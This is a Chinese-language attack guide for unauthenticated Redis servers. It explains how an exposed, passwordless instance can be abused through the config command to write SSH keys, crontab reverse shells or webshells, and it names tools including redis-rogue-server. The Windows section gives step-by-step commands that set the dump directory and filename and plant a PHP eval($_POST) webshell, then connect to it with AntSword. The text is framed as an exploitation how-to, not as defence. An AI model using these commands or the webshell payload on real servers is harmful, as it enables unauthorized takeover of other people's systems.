一、简介
redis
默认情况下,绑定在0.0.0.0:6379
,若没有采用相关的策略,如添加防火墙规则避免其他非信任来源IP
访问等,会将redis
服务暴露到公网上。如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问redis
以及读取redis
的数据。攻击者在未授权访问redis
的情况下,利用redis
自身的提供的config
命令,可以进行写文件操作,从而将恶意文件写入目标主机中进行利用,譬如ssh-key
、webshell
、crontab
等。
二、利用
2.1 Linux环境
- 若是部署的
redis
权限够高,采用root
权限进行,则我们可以直接采用写入ssh-key
或者crontab反弹shell
的形式,以此获得对目标主机的控制权。 - 若是部署的
redis
账户为普通权限,则也可以使用redis主从复制
的恶意代码进行利用,从而获取目标主机的控制权。
2.1.1 root权限
- 工具:传送门
- 注意:若是目标未启用
ssh-key
、没有crontab
,则无法采用写入密钥或者写入定时任务来反弹shell
了,请另外再尝试写入webshell
- 注意:若是目标未启用
2.1.2 普通权限
- 工具: redis-rogue-server
- 注意:使用该工具请删除原有的
exp.so
,自行编译使用文件后放到脚本所在文件夹,否则将无法执行。
- 注意:使用该工具请删除原有的
2.2 Windows环境
- 在
Windows
环境下使用redis
未授权的主要利用方式为寻找目标主机的web
根目录,以此写入webshell
。其余的方式诸如写入系统启动项、mof
提权,都具备太高的偶然性,难以利用。 - 参考文章:FreeBuf
2.2.1 WebShell利用
- 第一步:确认目标的web容器根目录
- 注:在此阶段可以使用
web
目录搜索工具dirsearch 来查找诸如phpinfo
之类的信息,又或者可以确认目标网站容器,尝试IIS
、PHPStudy
的默认Web
容器路径。
- 注:在此阶段可以使用
- 第二步:写入
WebShell
- 确认写入目录:
config set dir c:\phpstudy\www
- 确认写入文件名:
config set dbfilename shell.php
- 确认写入内容:
set x "<?php @eval($_POST['a']) ?>"
- 保存本次写入:
save
- 确认写入目录:
- 第三步:连接
WebShell
- 工具:蚁剑